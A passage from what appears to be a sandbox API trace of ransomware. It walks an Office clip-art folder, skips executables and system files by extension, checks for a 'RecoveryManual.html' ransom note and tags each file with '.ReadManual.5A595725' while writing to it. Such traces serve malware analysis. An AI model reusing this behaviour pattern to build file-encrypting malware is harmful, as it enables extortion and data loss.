lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" [0260.995] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.ReadManual.5A595725" [0260.995] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.ReadManual.5A595725") returned 87 [0260.995] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38166385658) returned 1 [0260.995] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0260.995] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.995] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3494) returned 1 [0260.996] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xda6, lpName=0x0) returned 0x184 [0260.996] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.996] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.996] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.998] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.998] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xda6) returned 0x2f0000 [0260.998] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.998] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38166681110) returned 1 [0260.998] CloseHandle (hObject=0x184) returned 1 [0260.998] SetSecurityInfo () returned 0x57 [0260.998] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.998] CloseHandle (hObject=0x194) returned 1 [0260.999] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0260.999] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS01635_.WMF" | out: lpString1="BS01635_.WMF") returned="BS01635_.WMF" [0260.999] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.999] StrStrIW (lpFirst="BS01635_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.999] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.999] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.999] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" [0260.999] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.ReadManual.5A595725" [0261.000] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.ReadManual.5A595725") returned 87 [0261.000] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38166831059) returned 1 [0261.000] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0261.000] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.000] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14996) returned 1 [0261.000] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a94, lpName=0x0) returned 0x184 [0261.000] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.001] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.001] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.003] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.003] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a94) returned 0x2f0000 [0261.003] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.003] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38167181272) returned 1 [0261.003] CloseHandle (hObject=0x184) returned 1 [0261.003] SetSecurityInfo () returned 0x57 [0261.003] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.003] CloseHandle (hObject=0x194) returned 1 [0261.004] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0261.005] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS01636_.WMF" | out: lpString1="BS01636_.WMF") returned="BS01636_.WMF" [0261.005] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.005] StrStrIW (lpFirst="BS01636_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.005] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.005] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.005] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" [0261.005] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.ReadManual.5A595725" [0261.005] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.ReadManual.5A595725") returned 87 [0261.005] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38167427277) returned 1 [0261.006] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0261.006] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.006] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1874) returned 1 [0261.006] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x752, lpName=0x0) returned 0x184 [0261.006] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.007] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.007] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.008] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.008] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x752) returned 0x2f0000 [0261.008] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.008] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38167727203) returned 1 [0261.009] CloseHandle (hObject=0x184) returned 1 [0261.009] SetSecurityInfo () returned 0x57 [0261.009] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.009] CloseHandle (hObject=0x194) returned 1 [0261.010] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0261.010] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS01637_.WMF" | out: lpString1="BS01637_.WMF") returned="BS01637_.WMF" [0261.010] lstrcmpiW (lpString1="BS01637_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.010] StrStrIW (lpFirst="BS01637_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.010] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.010] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.010] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" [0261.010] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.ReadManual.5A595725" [0261.010] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.ReadManual.5A595725") returned 87 [0261.010] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38167892034) returned 1 [0261.010] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0261.010] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.011] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3948) returned 1 [0261.011] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf6c, lpName=0x0) returned 0x184 [0261.011] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.011] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.011] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.015] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.015] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf6c) returned 0x2f0000 [0261.015] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.015] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38168381376) returned 1 [0261.015] CloseHandle (hObject=0x184) returned 1 [0261.015] SetSecurityInfo () returned 0x57 [0261.015] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.015] CloseHandle (hObject=0x194) returned 1 [0261.016] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0261.016] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS01638_.WMF" | out: lpString1="BS01638_.WMF") returned="BS01638_.WMF" [0261.016] lstrcmpiW (lpString1="BS01638_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.016] StrStrIW (lpFirst="BS01638_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.016] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.016] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.016] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" [0261.016] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.ReadManual.5A595725" [0261.017] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.ReadManual.5A595725") returned 87 [0261.017] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38168534074) returned 1 [0261.017] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0261.017] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.017] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10538) returned 1 [0261.017] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x292a, lpName=0x0) returned 0x184 [0261.017] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.018] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.018] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.019] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.019] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x292a) returned 0x2f0000 [0261.020] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.020] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38168852928) returned 1 [0261.020] CloseHandle (hObject=0x184) returned 1 [0261.020] SetSecurityInfo () returned 0x57 [0261.020] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.020] CloseHandle (hObject=0x194) returned 1 [0261.021] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0261.021] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS01639_.WMF" | out: lpString1="BS01639_.WMF") returned="BS01639_.WMF" [0261.021] lstrcmpiW (lpString1="BS01639_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.021] StrStrIW (lpFirst="BS01639_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.021] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.021] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.021] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" [0261.021] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.ReadManual.5A595725" [0261.021] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.ReadManual.5A595725") returned 87 [0261.021] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38169008415) returned 1 [0261.021] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0261.022] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.022] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4236) returned 1 